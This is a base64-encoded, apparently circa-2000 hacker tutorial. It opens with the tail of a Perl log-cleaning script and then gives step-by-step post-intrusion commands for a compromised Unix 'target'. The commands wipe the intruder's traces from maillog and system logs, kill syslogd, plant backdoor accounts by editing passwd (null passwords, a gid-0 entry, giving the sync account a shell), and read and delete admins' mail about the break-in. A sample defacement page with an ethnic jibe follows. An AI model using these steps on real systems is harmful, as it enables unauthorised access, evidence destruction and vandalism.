PSgpOw0KICBteSgkY2MsJHl5KT0oKTsNCg0KICAkeT1+IC9eKFxkezJ9KShcZHsyfSkkLzsNCiAg KCRjYywkeXkpPSgkMSwkMik7DQoNCiAgIyBOdW1iZXIgb2YgZnVsbCB5ZWFycyBzaW5jZSBEZWMg MzEsIDA5OTkNCiAgJE55PSR5LTEwMDA7DQoNCiAgIyBOdW1iZXIgb2YgZnVsbCA0dGggeWVhcnMg KGluY2wuIDEwMDApIHNpbmNlIERlYyAzMSwgMDk5OQ0KICAkTjQ9aW50KCgkTnktMSkvNCkrMTsN CiAgJE40PTAgICAgICAgICBpZiAoJHk9PTEwMDApOw0KDQogICMgTnVtYmVyIG9mIGZ1bGwgMTAw dGggeWVhcnMgKGluY2wuIDEwMDApDQogICROMTAwPSRjYy05Ow0KICAkTjEwMC0tICAgICAgIGlm ICgkeXk9PTApOw0KDQogICMgTnVtYmVyIG9mIGZ1bGwgNDAwdGggeWVhcnMNCiAgJE40MDA9aW50 KCgkTjEwMCsxKS80KTsNCg0KICAjIENoZWNrIHRvIGluc3VyZSB0aGF0IGluZm9ybWF0aW9uIHJl dHVybnMgYSB2YWxpZCBkYXkgb2YgeWVhci4NCiAgJGRheW9meWVhcj1kYXlvZnllYXIoJG0sJGQs JHkpOw0KICByZXR1cm4gdW5kZWYgaWYgKCFkZWZpbmVkKCRkYXlvZnllYXIpKTsNCg0KICAjIENv bXB1dGUgZGF5IG9mIHllYXIuDQogICRkYXlzPSAkTnkqMzY1ICsgJE40IC0gJE4xMDAgKyAkTjQw MCArICRkYXlvZnllYXI7DQoNCiAgcmV0dXJuICRkYXlzOw0KfQ0KDQoNCnN1YiBkYXlvZnllYXIg ew0KICBteSgkbSwkZCwkeSk9QF87DQogIG15KEBkYXlzaW5tb250aCk9KDMxLDI4LDMxLDMwLDMx LDMwLDMxLDMxLDMwLDMxLDMwLDMxKTsNCiAgbXkoJGRheW51bSwkaSk9KCk7DQogICRkYXlzaW5t b250aFsxXT0yOSAgaWYgKCEoJHkgJSA0KSk7DQoNCiAgIyBSZXR1cm4gZXJyb3IgaWYgd2UgYXJl IGdpdmVuIGFuIGludmFsaWQgZGF0ZS4NCiAgcmV0dXJuIHVuZGVmIGlmICgkZCA+ICRkYXlzaW5t b250aFskbV0pOw0KDQogICRkYXludW09MDsNCiAgZm9yICgkaT0xOyAkaTwkbTsgJGkrKykgew0K ICAgICRkYXludW0gKz0gJGRheXNpbm1vbnRoWyRpXTsNCiAgfQ0KICAkZGF5bnVtICs9ICRkOw0K ICANCiAgcmV0dXJuICRkYXludW07DQp9DQoNCg0KIyMgRU5EIERBVEUgUk9VVElORVMuDQogICAg ICANCiMgRW5kIG9mIHNjcmlwdC4NCg0KMDsNCg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tIGVuZCBv ZiB1dG1wbWFuLnBsDQoNCk9rLCBsZXQncyBjaGVjayB0aGUgbG9ncy4uLg0KdGFyZ2V0IyBjZCAv dmFyL2xvZw0KdGFyZ2V0IyBncmVwIGhvc3QgKg0KbWFpbGxvZzpKYW4gMjkgMDU6MzE6NTggbnMg aW4udGVsbmV0ZFsyMjA3Ml06IGNvbm5lY3QgZnJvbSBob3N0LmNvbQ0KbWFpbGxvZzpKYW4gMjkg MDU6MzU6MjkgbnMgaW4udGVsbmV0ZFsyMjA5OV06IGNvbm5lY3QgZnJvbSBob3N0LmNvbQ0KVGhl IHphcCBkaWQgZXZlcnl0aGluZyBleGNlcHQgdGhpcyBtYWlsbG9nLi4uDQoNCnRhcmdldCMgcGlj byBtYWlsbG9nDQpJbiBwaWNvIGVkaXRvciBDdHJsK3cgaW4gb3JkZXIgdG8gc2VhcmNoIGZvciBo b3N0IHRoZW4gQ3RybCtrIGZvciBkZWxldGluZyB0aG9zZSBsaW5lcy4NCnRhcmdldCMgZ3JlcCBo b3N0ICoNCkV2ZXJ5dGhpbmcgaW4gb3JkZXIgbm93Li4uLg0KQSBnb29kIHRoaW5nIHRvIGRvIGlz IHRvIGVkaXQgL2V0Yy9ob3N0LmFsbG93IGFuZCAvZXRjL2hvc3RzLmRlbnkNCnRhcmdldCMgcGlj byAvZXRjL2hvc3RzLmFsbG93IA0KYW5kIA0KdGFyZ2V0IyBwaWNvIC9ldGMvaG9zdHMuZGVueQ0K UmVtZW1iZXIgdG8gZXJhc2UgdGhlIGV4cGxvaXQNCnRhcmdldCMgcm0gZXhwbG9pdC5jDQpQZXJo YXBzIHlvdSB3YW50IHRvIGtlZXAgdGhlIGFjY2VzcyB5b3UgZ2FpbmVkIGFjdGl2ZS5UaGVuIGRv IGEgYmFja2Rvb3IuWW91IGRvIG5vdCBoYXZlIHRvIG1ha2UgaXQgYSByb290IGFjY291bnQgdGhh dCBjb3VsZCBjYXVzZSBub3RpY2UgdG8gaXQgcmlnaHQgYXdheS5Zb3Uga25vdyB5b3UgY2FuIGhh dmUgcm9vdCBhbnkgdGltZSB5b3Ugd2FudC4NCk5vdyBsZXQncyB0YWtlIGEgbG9vayBhdCB0aGUg cGFzc3dkIG9yIHNoYWRvdyBmaWxlLkl0IHNob3VsZCBsb29rIGxpa2UgdGhpcy4uLg0Kcm9vdDpm VmkzWXFXbmtkNHJZOjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA0Kc3lzb3A6bVpqYjRYam5KVDFZ czo1ODI6MjAwOlN5c3RlbSBPcGVyYXRvcjovaG9tZS9zeXNvcDovYmluL2Jhc2gNCmJpbjoqOjE6 MTpiaW46L2JpbjoNCmRhZW1vbjoqOjI6MjpkYWVtb246L3NiaW46DQphZG06KjozOjQ6YWRtOi92 YXIvYWRtOg0KbHA6Kjo0Ojc6bHA6L3Zhci9zcG9vbC9scGQ6DQpzeW5jOio6NTowOnN5bmM6L3Ni aW46L2Jpbi9zeW5jDQpzaHV0ZG93bjoqOjY6MDpzaHV0ZG93bjovc2Jpbjovc2Jpbi9zaHV0ZG93 bg0KaGFsdDoqOjc6MDpoYWx0Oi9zYmluOi9zYmluL2hhbHQNCm1haWw6Kjo4OjEyOm1haWw6L3Zh ci9zcG9vbC9tYWlsOg0KbmV3czoqOjk6MTM6bmV3czovdXNyL2xpYi9uZXdzOg0KdXVjcDoqOjEw OjE0OnV1Y3A6L3Zhci9zcG9vbC91dWNwcHVibGljOg0Kb3BlcmF0b3I6KjoxMTowOm9wZXJhdG9y Oi9yb290Oi9iaW4vYmFzaA0KZ2FtZXM6KjoxMjoxMDA6Z2FtZXM6L3Vzci9nYW1lczoNCm1hbjoq OjEzOjE1Om1hbjovdXNyL21hbjoNCnBvc3RtYXN0ZXI6KjoxNDoxMjpwb3N0bWFzdGVyOi92YXIv c3Bvb2wvbWFpbDovYmluL2Jhc2gNCm5vYm9keToqOjY1NTM1OjEwMDpub2JvZHk6L2Rldi9udWxs Og0KZnRwOio6NDA0OjE6Oi9ob21lL2Z0cDovYmluL2Jhc2gNCg0KWW91IG1heSBlaXRoZXIgc2V0 IGxldCdzIHNheSB0aGUgcG9zdG1hc3RlcidzIHBhc3N3b3JkIHRvIG51bGwgLi4uDQp0YXJnZXQj cGFzc3dkIHBvc3RtYXN0ZXINCk5vdyBwcmVzcyBlbnRlciB0d2ljZQ0KLi4ub3IgeW91IGNhbiBh ZGQgYSBuZXcgbGluZSB0byB0aGUgZmlsZS4uLg0Kc3lzdDo6MTM6MTI6c3lzdGVtOi92YXIvc3Bv b2w6L2Jpbi9iYXNoDQoNClBsYWNlIGl0IGluIHRoZSBmaWxlIHdoZXJlIGl0IHNlZW1zIHRvIGZs b3cuICANCkxvb2sgYXQgdGhlIGxpbmUgYWJvdmUgZm9yIHN5bmMNCg0Kc3luYzoqOjU6MDpzeW5j Oi9zYmluOi9iaW4vc3luYw0KDQpDaGFuZ2UgdGhpcyB0byA6DQoNCnN5bmM6Kjo1OjA6c3luYzov c2JpbjovYmluL2Jhc2ggYW5kIHRoZW4gcnVuIDxwYXNzd2Qgc3luYz4gYW5kIGxlYXZlIHRoZSBw YXNzd2QgYmxhbmsuICAob3Igc2V0IGEgcGFzc3dkIGRvbid0IG1hdHRlcikgT24gdGhpcyBhY2Nv dW50IHdlIGFyZSBldmVuIGdpZD0wIA0KUmVtYmVyIGZpcnN0IE5FVkVSIHRvIHVzZSBzeXN0ZW0g bWFpbCBwcm9ncmFtcyEgIFRoZXkgd2lsbCBiZSBhYmxlIHRvIHRlbGwgeW91IGFyZSByZWFkaW5n IHRoZWlyIG1haWwuICBJIHVzZSBhIGNvbWJvIG9mIGEgZmV3IHRoaW5ncy4gIEhlcmUgeW91IGdv Li4uDQoNCiBjZCAvdmFyL3Nwb29sL21haWwNCg0KVGhpcyB3aWxsIHB1dCB5b3UgaW50byB0aGUg ZGlyZWN0b3J5IHRoYXQgaG9sZHMgYWxsIG9mIHRoZSB1bnJlYWQgbWFpbCwgb3Igd2FpdGluZyBt YWlsLiAgTm93IHlvdSBjYW4gZG8gdGhpbmdzIGxpa2U6DQoNCmdyZXAgLWkgc2VjdXJpdHkgKiB8 bW9yZQ0KZ3JlcCAtaSBoYWNrICogfG1vcmUNCmdyZXAgLWkgaW50cnVkZXIgKiB8bW9yZQ0KZ3Jl cCAtaSBwYXNzd2QgKiB8bW9yZQ0KZ3JlcCAtaSBwYXNzd29yZCAqIHxtb3JlDQoNClRoZW4gaWYg bmVlZGVkIHBpY28gdXNlcm5hbWUsIGFuZCBjdHJsIHcgdG8gc2VhcmNoIGZvciB5b3VyIG1lc3Nh Z2UuICBZb3UgY2FuIGFsc28gZGVsZXRlIG1lc3NhZ2VzIGlmIHlvdSBzZWUgc29tZSBvdGhlciBh ZG1pbiBpcyB0ZWxsaW5nIHRoZW0gdGhhdCB5b3VyIHVzZXIgbmFtZSBpcyBoYWNraW5nIHRoZWly IG1hY2hpbmUgZnJvbSB0aGVpciBkb21haW4uDQpNYWtlIHN1cmUgdG8gcmVhZCAvZXRjL3N5c2xv Zy5jb25mIGFuZCAvZXRjL2xvZ2luLmRlZnMgdG8gc2VlIGhvdyB0aGUgc3lzdGVtIGlzIGxvZ2dp bmcuDQpPay5Ob3cgeW91IG1heSBleHBsb3JlIHRoZSBzeXN0ZW0gaG93ZXZlciB5b3Ugd2FudC5E b24ndCBkbyBzdHVwaWQgdGhpbmdzIGxpa2UgZGVsZXRpbmcgZmlsZXMgb3IgY3Jhc2hpbmcgdGhl IHN5c3RlbSwgYW5kIGJlIGNhcmVmdWxsLg0KSXQgaXMgbm90IGFkdmlzYWJsZSB0byBjaGFuZ2Ug dGhlIHNpdGUgaWYgdGhlIHNlcnZlciB5b3UgaGFja2VkIGRvZXMgaGF2ZSBvbmUuSG93ZXZlciwg aWYgeW91IHdhbnQgdG8gZG8gc29tZXRoaW5nIGxpa2UgdGhhdCBoZXJlIGlzIGFuIGV4YW1wbGUu Li4NCnRhcmdldCNwaWNvIC91c3IvbG9jYWwvYXBhY2hlL2h0ZG9jcy9pbmRleC5odG1sDQpUaGUg bWFpbiBmaWxlIG9mIHRoZSB3ZWJzaXRlIGNhbiBiZSBlZGl0ZWQgbm93Lg0KSGVyZSBpcyBhbiBl eGFtcGxlIG9mIGEgaGFja2VkIGluZGV4Lmh0bWwgZmlsZS4uLg0KLS0tLS0tLS0tLS0tLS0tLS0t LS1zdGFydF9vZl9maWxlLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KPGh0bWw+DQo8aGVhZD4NCiAg IDxtZXRhIG5hbWU9IlVseXNzM3MiIGNvbnRlbnQ9Ik1vemlsbGEvNC41ICI+DQogICA8dGl0bGU+ U2l0ZSBoYWNrZWQgYnkuLi5VbHlzczNzPC90aXRsZT4NCjwvaGVhZD4NCjxib2R5IHRleHQ9IiNG RkZGMDAiIGJnY29sb3I9IiMwMDAwMDAiIGxpbms9IiNGRkZGMDAiIHZsaW5rPSIjODAwMDgwIiBv bmxvYWQ9ImFsZXJ0KCdVbHlzczNzIHN0cmlrZXogYWdhaW4uLi4nKSIgb251bmxvYWQ9ImFsZXJ0 KCdBUEFDSEUgaW5zaWRlP0kgaGF0ZSBpbmRpYW56IDotKScpIj4NCg0KPGNlbnRlcj48Yj48Zm9u dCBmYWNlPSJDb3VyaWVyIE5ldyBUdXIiPjxmb250IGNvbG9yPSIjRkYwMDAwIj48Zm9udCBzaXpl PSszPlVseXNzM3M8L2ZvbnQ+PC9mb250PjwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCI+PGZvbnQg c2l6ZT0rMj4NCnByb3VkbHkgcHJlc2VudHMuLi48L2ZvbnQ+PC9mb250PjwvYj4NCjxwPjxiPjxp Pjxmb250IGZhY2U9IkFyaWFsIj5oaXogbDhlc3QgaGFja2luZyE8L2ZvbnQ+PC9pPjwvYj48L2Nl bnRlcj4NCg0KPHA+YmFzaCAyLjA0I3dob2FtaQ0KPHA+cm9vdA0KPHA+YmFzaCAyLjA0Iw0KPHA+ LyogVGhpeiB0ZWxseiBwcmV0dHkgbXVjaCxodWg/WWVhaCxzZWN1cml0eSB3YXNuJ3Qgc28gZ3I4 Li4uDQo8cD5HcmVldGluZ3ogdG8gYWxsIG15IGZyaWVuZHotIDxmb250IGNvbG9yPSIjRkYwMDAw Ij5MdWNpZmZlcjwvZm9udD4sDQo8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+TW9vbnxMb3JkPC9mb250 PiwgPGZvbnRjb2xvcj0iI0ZGMDAwMCI+U2xhdWdodGVyPC9mb250PiwNCjxmb250IGNvbG9yPSIj RkYwMDAwIj5BbW9ycGhpczwvZm9udD4sIGFuZCBvdGhlcnogKi8NCjxicj4mbmJzcDsNCjwvYm9k eT4NCjwvaHRtbD4NCi0tLS0tLS0tLS0tLS0tRW5kX29mX2ZpbGUtLS0tLS0tLS0tLS0tLS0tLS0N CkN0cmwreCxzYXZlIHRoZSBjaGFuZ2VzIGFuZCBWT0lMQSEgWW91J3JlIGRvbmUhDQpXaGVuZXZl ciBzb21lb25lIHR5cGVzIGluIGhpcyBicm93c2VyJ3MgYWRyZXNzL2xvY2F0aW9uOiBodHRwOi8v d3d3LnRhcmdldC5jb20gdGhlIGVkaXRlZCBwYWdlIHdpbGwgYXBwZWFyLg0KPT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PQ0KQSBmZXcgdGhpbmdzIHRvIHJlbWVtYmVyOg0KL2V0Yy9zZXJ2aWNlcyAgKHRoZSBwb3J0cyBm aWxlKQ0KL2V0Yy9pbmV0ZC5jb25mIA0KL2V0Yy9ncm91cCAgICAgIA0KLVRoaXMgaXMgdGhlIGdy b3VwIGZpbGUuIFRoaXMgYWxsb3dzIHRoZSBzdXBlcnVzZXIgdG8gZ2l2ZSBjZXJ0YWluIGFjY291 bnRzIGdyb3VwIA0KYWNjZXNzIHRvIGdyb3VwcyBvdGhlciB0aGFuIHRoZWlyIG93biAgICAgICAg ICAgICAgICANCkVudHJpZXMgYXJlIGluIHRoZSBmb3JtYXQ6IGdyb3VwIG5hbWU6cGFzc3dvcmQ6 Z3JvdXAgbnVtYmVyOnVzZXJzIGluIHRoaXMgZ3JvdXANCg0KL2Rldi9jb25zb2xlICAgIA0KLVRo aXMgaXMgdGhlIGRldmljZSBmaWxlIGZvciB0aGUgc3lzdGVtIGNvbnNvbGUsIG9yIHRoZSAgICAg ICAgICAgICAgICBzeXN0ZW0ncyBtYWluIHRlcm1pbmFsLg0KL3Vzci9hZG0vc3Vsb2cgIA0KL3Vz ci9hZG0vbG9naW5sb2cgb3IgL3Vzci9hZG0vYWNjdC9zdW0vbG9naW5sb2cNCg0KL3Vzci9tYWls Lzx1c2VyPiAgICAgICAgDQovZGV2L251bGwgICAgICAgDQovdXNyL2xpYiAvdXNyL3Nwb29sL2Ny b24uDQpjcm9udGFiIGluIHRoZSBkaXJlY3RvcnkgL3Vzci9saWIgY29udGFpbnMgZW50cmllcyBm b3Igc3lzdGVtIA0KdGFza3MgdGhhdCBtdXN0IGJlIHBlcmZvcm1lZCBvbiBhIHBlcmlvZGljIGJh c2lzLiBUaGUgZm9ybWF0IGZvciB0aGUgZW50cmllcyBpbiANCnRoaXMgZmlsZSBpczoNCm1pbnV0 ZSBob3VyIGRheW9mbW9udGggIG1vbnRob2Z5ZWFyICBkYXlvZndlZWsgY29tbWFuZHN0cmluZw0K DQoxICogKiAqICAvYmluL3N5bmMNClRoaXMgcnVucyBzeW5jIGNvbW1hbmQsIHdoaWNoIGlzIGtl cHQgaW4gdGhlIGRpcmVjdG9yeSBiaW4sIGF0IDEgYW0gZXZlcnkgZGF5Lg0KQ29tbWFuZHMgaW4g dGhlIGZpbGUgL3Vzci9saWIvY3JvbnRhYiBhcmUgcGVyZm9ybWVkIHdpdGggcm9vdCBwcml2aWxl Z2VzLg0KL3Vzci9zcG9vbC9jcm9udGFicywgeW91IHdpbGwgZmluZCBmaWxlcyBuYW1lZCBhZnRl ciANCnN5c3RlbSBhY2NvdW50cy4gVGhlc2UgZmlsZXMgY29udGFpbiBjcm9uIGVudHJpZXMgd2hp Y2ggYXJlIHRoZSBzYW1lIGFzIHRob3NlIA0KaW4gdGhlIGZpbGUgL3Vzci9saWIvY3JvbnRhYiwg YnV0IGFyZSBjYXJyaWVkIG91dCB1bmRlciB0aGUgaWQgb2YgdGhlIHVzZXIgdGhlIA0KZmlsZSBp cyBuYW1lZCBhZnRlci4gVGhlIGVudHJpZXMgYXJlIGluIHRoZSBzYW1lIGZvcm1hdC4NCkFsbCBj cm9uIGFjdGl2aXR5IGlzIGxvZ2dlZCBpbiB0aGUgZmlsZSAvdXNyL2FkbS9jcm9ubG9nLiANCg0K QSlraWxsYWxsIC05IHN5c2xvZ2Qga2xvZ2QNCkIpY29weSBzZWN1cmUuMSBhbmQgbWVzc2FnZXMu MSBmcm9tIC92YXIvbG9nIG92ZXIgc2VjdXJlIGFuZCBtZXNzYWdlcw0KQyl1bmFtZSAtYSwgdywg bGFzdCAtMTAsIGNhdCAvZXRjL3Bhc3N3ZCAvZXRjL2luZXRkLmNvbmYNCkQpcGljbyBpbmV0ZC5j b25mKHBvcnRzJmRhZW1vbnMpIC9yb290Ly5wcm9maWxlIA0KPT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KSSB0aGlu ayB0aGlzIHdhcyBhIG5pY2UgPHdhbGsgaW4gdGhlIHBhcms+LkhvcGVmdWxseSB5b3UgZW5qb3ll ZCBpdCBhbmQgd2lsbCBoYXZlIHlvdXIgb3duIDx3YWxrIGluIHRoZSBwYXJrPiBzb21ldGltZS4N CkhhcHB5IGhhY2tpbmchDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpIdWdlIGdyZWV0aW5ncyBhbmQgdGhhbmtz IHRvOg0KSW52aXNpYmxlIEV2aWwgLSBZb3VyIGhhY2sga2l0IGluc3BpcmVkIG1lIGEgbG90Lg0K VGhlIE1lbnRvciAgICAgLSBZb3VyIDxsYXN0IHdvcmRzPiBjb250YWluIHRoZSBlc3NlbmNlIGFu ZCB0aGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg Zmlsb3NvcGh5IG9mIGhhY2tpbmcuDQpNeSBmcmllbmRzOiBMdWNpZmZlciwgTW9vbnxMb3JkLCBM aWZlVGltZSwgZXRjLg0KDQpGaW5pc2hlZDogMDguWElJLjIwMDANCk1lcnJ5IFhtYXMgYW5kIGEg SGFwcHkgTmV3IFllYXIhDQoNCg0KDQoNCg==